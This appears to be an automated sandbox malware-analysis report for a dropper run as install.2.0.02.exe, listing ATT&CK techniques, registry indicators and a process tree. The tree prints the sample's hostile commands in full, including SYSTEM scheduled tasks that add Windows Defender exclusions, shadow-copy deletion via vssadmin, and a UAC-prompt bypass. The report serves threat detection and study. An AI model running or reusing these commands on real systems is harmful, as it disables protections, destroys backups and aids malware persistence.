95b421153718d5f9ba06b9d4349f63279ab946456406aa5e7bccaf195504fd12

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	wkra9K.exe

Windows security bypass 2 TTPs 4 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\HGtygP = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	wkra9K.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wkra9K.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\International\Geo\Nation	PESgKg.exe

Executes dropped EXE 6 IoCs

pid	Process
1268	PESgKg.exe
376	PESgKg.exe
2700	wkra9K.exe
2596	wkra9K.exe
4312	wkra9K.exe
3940	Rkjcfk.exe

Loads dropped DLL 6 IoCs

pid	Process
1268	PESgKg.exe
376	PESgKg.exe
2700	wkra9K.exe
2596	wkra9K.exe
4312	wkra9K.exe
3940	Rkjcfk.exe

Modifies file permissions 1 TTPs 15 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4120	icacls.exe
4656	icacls.exe
4092	icacls.exe
3444	icacls.exe
3796	icacls.exe
1128	icacls.exe
5060	icacls.exe
3152	icacls.exe
4156	icacls.exe
5108	icacls.exe
4624	icacls.exe
2920	icacls.exe
1912	icacls.exe
3324	icacls.exe
3736	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

discovery defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\HGtygP\\PESgKg.exe\""	PESgKg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\wkra9K\\wkra9K.exe\""	wkra9K.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
1412	cmd.exe
4000	cmd.exe
4364	cmd.exe
2088	cmd.exe
976	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	PESgKg.exe

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\wkra9K\image.png	PESgKg.exe
File created	C:\Program Files (x86)\wkra9K\thumbs.db	PESgKg.exe
File opened for modification	C:\Program Files (x86)\wkra9K\image.png	PESgKg.exe
File opened for modification	C:\Program Files (x86)\wkra9K\thumbs.db	PESgKg.exe
File created	C:\Program Files (x86)\x7P26\thumbs.db	wkra9K.exe
File opened for modification	C:\Program Files (x86)\x7P26\Rkjcfk.exe	wkra9K.exe
File created	C:\Program Files (x86)\wkra9K\wkra9K.exe	PESgKg.exe
File opened for modification	C:\Program Files (x86)\x7P26	wkra9K.exe
File opened for modification	C:\Program Files (x86)\x7P26\image.png	wkra9K.exe
File opened for modification	C:\Program Files (x86)\x7P26\XPSPLOG.dll	wkra9K.exe
File created	C:\Program Files (x86)\wkra9K\XPSPLOG.dll	PESgKg.exe
File opened for modification	C:\Program Files (x86)\wkra9K\wkra9K.exe	PESgKg.exe
File opened for modification	C:\Program Files (x86)\wkra9K\XPSPLOG.dll	PESgKg.exe
File opened for modification	C:\Program Files (x86)\x7P26\thumbs.db	wkra9K.exe
File opened for modification	C:\Program Files (x86)\wkra9K	PESgKg.exe
File created	C:\Program Files (x86)\x7P26\image.png	wkra9K.exe
File created	C:\Program Files (x86)\x7P26\Rkjcfk.exe	wkra9K.exe
File created	C:\Program Files (x86)\x7P26\XPSPLOG.dll	wkra9K.exe

Enumerates video capture drivers 2 TTPs 1 IoCs

Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

Peripheral Device Discovery

T1120

Video Capture

T1125

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo9	wkra9K.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\Desktop\SCRNSAVE.EXE	wkra9K.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\Desktop\ScreenSaveActive = "0"	wkra9K.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	wkra9K.exe

Executes a command shell one-liner 1 TTPs 21 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4764	cmd.exe
1316	cmd.exe
2876	cmd.exe
3068	cmd.exe
4920	cmd.exe
376	cmd.exe
2328	cmd.exe
2336	cmd.exe
2084	cmd.exe
4292	cmd.exe
5076	cmd.exe
4032	cmd.exe
2188	cmd.exe
1988	cmd.exe
3472	cmd.exe
3604	cmd.exe
4384	cmd.exe
2908	cmd.exe
4112	cmd.exe
2964	cmd.exe
2396	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	PESgKg.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	PESgKg.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wkra9K.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	wkra9K.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	install.2.0.02.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	install.2.0.02.exe

System Location Discovery: System Language Discovery 1 TTPs 38 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wkra9K.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Rkjcfk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wkra9K.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wkra9K.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wkra9K.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	wkra9K.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\Desktop\ScreenSaveActive = "0"	wkra9K.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	wkra9K.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	wkra9K.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\Desktop\SCRNSAVE.EXE	wkra9K.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1316	schtasks.exe
4764	schtasks.exe
992	schtasks.exe
2328	schtasks.exe
2148	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2884	install.2.0.02.exe
2884	install.2.0.02.exe
2884	install.2.0.02.exe
2884	install.2.0.02.exe
2884	install.2.0.02.exe
2884	install.2.0.02.exe
2884	install.2.0.02.exe
2884	install.2.0.02.exe
2884	install.2.0.02.exe
2884	install.2.0.02.exe
2884	install.2.0.02.exe
2884	install.2.0.02.exe
2884	install.2.0.02.exe
2884	install.2.0.02.exe
2884	install.2.0.02.exe
2884	install.2.0.02.exe
2884	install.2.0.02.exe
2884	install.2.0.02.exe
2884	install.2.0.02.exe
2884	install.2.0.02.exe
2884	install.2.0.02.exe
2884	install.2.0.02.exe
2884	install.2.0.02.exe
2884	install.2.0.02.exe
2884	install.2.0.02.exe
2884	install.2.0.02.exe
2884	install.2.0.02.exe
2884	install.2.0.02.exe
2884	install.2.0.02.exe
2884	install.2.0.02.exe
2884	install.2.0.02.exe
2884	install.2.0.02.exe
1268	PESgKg.exe
1268	PESgKg.exe
1268	PESgKg.exe
1268	PESgKg.exe
1268	PESgKg.exe
1268	PESgKg.exe
1268	PESgKg.exe
1268	PESgKg.exe
1268	PESgKg.exe
1268	PESgKg.exe
1268	PESgKg.exe
1268	PESgKg.exe
1268	PESgKg.exe
1268	PESgKg.exe
1268	PESgKg.exe
1268	PESgKg.exe
1268	PESgKg.exe
1268	PESgKg.exe
1268	PESgKg.exe
1268	PESgKg.exe
1268	PESgKg.exe
1268	PESgKg.exe
1268	PESgKg.exe
1268	PESgKg.exe
1268	PESgKg.exe
1268	PESgKg.exe
1268	PESgKg.exe
1268	PESgKg.exe
1268	PESgKg.exe
1268	PESgKg.exe
1268	PESgKg.exe
1268	PESgKg.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found

Suspicious use of WriteProcessMemory 57 IoCs

description	pid	Process	procid_target
PID 1268 wrote to memory of 2088	1268	PESgKg.exe	93
PID 1268 wrote to memory of 976	1268	PESgKg.exe	95
PID 2088 wrote to memory of 1316	2088	cmd.exe	98
PID 2088 wrote to memory of 3448	2088	cmd.exe	99
PID 976 wrote to memory of 4764	976	cmd.exe	100
PID 2088 wrote to memory of 632	2088	cmd.exe	103
PID 976 wrote to memory of 1896	976	cmd.exe	104
PID 976 wrote to memory of 3368	976	cmd.exe	105
PID 1268 wrote to memory of 1412	1268	PESgKg.exe	108
PID 2964 wrote to memory of 1128	2964	cmd.exe	110
PID 1268 wrote to memory of 4000	1268	PESgKg.exe	111
PID 4000 wrote to memory of 2328	4000	cmd.exe	113
PID 1412 wrote to memory of 992	1412	cmd.exe	114
PID 1268 wrote to memory of 4364	1268	PESgKg.exe	115
PID 4000 wrote to memory of 4592	4000	cmd.exe	118
PID 1412 wrote to memory of 3776	1412	cmd.exe	119
PID 4364 wrote to memory of 2148	4364	cmd.exe	121
PID 1412 wrote to memory of 1084	1412	cmd.exe	122
PID 4000 wrote to memory of 2116	4000	cmd.exe	123
PID 4364 wrote to memory of 456	4364	cmd.exe	124
PID 4364 wrote to memory of 4156	4364	cmd.exe	125
PID 4384 wrote to memory of 4924	4384	cmd.exe	127
PID 1268 wrote to memory of 2700	1268	PESgKg.exe	128
PID 2700 wrote to memory of 2908	2700	wkra9K.exe	131
PID 2700 wrote to memory of 3068	2700	wkra9K.exe	133
PID 2700 wrote to memory of 4920	2700	wkra9K.exe	135
PID 3068 wrote to memory of 3796	3068	cmd.exe	139
PID 2700 wrote to memory of 2396	2700	wkra9K.exe	140
PID 2700 wrote to memory of 1316	2700	wkra9K.exe	143
PID 2700 wrote to memory of 4764	2700	wkra9K.exe	145
PID 4764 wrote to memory of 1912	4764	cmd.exe	147
PID 2700 wrote to memory of 4032	2700	wkra9K.exe	148
PID 4032 wrote to memory of 1128	4032	cmd.exe	150
PID 2700 wrote to memory of 2188	2700	wkra9K.exe	151
PID 2188 wrote to memory of 5060	2188	cmd.exe	153
PID 2700 wrote to memory of 376	2700	wkra9K.exe	154
PID 376 wrote to memory of 3324	376	cmd.exe	156
PID 2700 wrote to memory of 2328	2700	wkra9K.exe	157
PID 2328 wrote to memory of 3152	2328	cmd.exe	159
PID 2700 wrote to memory of 2336	2700	wkra9K.exe	160
PID 2336 wrote to memory of 3736	2336	cmd.exe	162
PID 2700 wrote to memory of 2084	2700	wkra9K.exe	163
PID 2084 wrote to memory of 4624	2084	cmd.exe	165
PID 2700 wrote to memory of 4112	2700	wkra9K.exe	166
PID 4112 wrote to memory of 4156	4112	cmd.exe	168
PID 2700 wrote to memory of 4292	2700	wkra9K.exe	169
PID 4292 wrote to memory of 2920	4292	cmd.exe	171
PID 2700 wrote to memory of 1988	2700	wkra9K.exe	172
PID 1988 wrote to memory of 5108	1988	cmd.exe	174
PID 2700 wrote to memory of 3472	2700	wkra9K.exe	175
PID 3472 wrote to memory of 4656	3472	cmd.exe	177
PID 2700 wrote to memory of 2876	2700	wkra9K.exe	178
PID 2876 wrote to memory of 4092	2876	cmd.exe	180
PID 2700 wrote to memory of 3604	2700	wkra9K.exe	181
PID 3604 wrote to memory of 3444	3604	cmd.exe	183
PID 2700 wrote to memory of 5076	2700	wkra9K.exe	184
PID 5076 wrote to memory of 4120	5076	cmd.exe	186

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	wkra9K.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install.2.0.02.exe
"C:\Users\Admin\AppData\Local\Temp\install.2.0.02.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:2884

C:\Users\Public\HGtygP\PESgKg.exe
C:\Users\Public\HGtygP\PESgKg.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1268
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\HGtygP\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2088
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\HGtygP\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1316
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3448
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:632
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:976
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4764
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1896
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1412
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:992
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3776
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4000
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2328
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4592
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2116
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4364
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2148
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:456
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4156
- C:\Program Files (x86)\wkra9K\wkra9K.exe
  "C:\Program Files (x86)\wkra9K\wkra9K.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Enumerates video capture drivers
  - Event Triggered Execution: Screensaver
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Modifies Control Panel
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:2700
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:2908
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\wkra9K" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3068
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\wkra9K" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3796
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4920
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:2396
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1316
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\wkra9K" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4764
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\wkra9K" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1912
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\wkra9K" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4032
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\wkra9K" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1128
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\wkra9K\wkra9K.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2188
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\wkra9K\wkra9K.exe" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5060
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\wkra9K\wkra9K.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:376
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\wkra9K\wkra9K.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3324
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\wkra9K\wkra9K.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2328
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\wkra9K\wkra9K.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3152
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\wkra9K\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2336
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\wkra9K\image.png" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3736
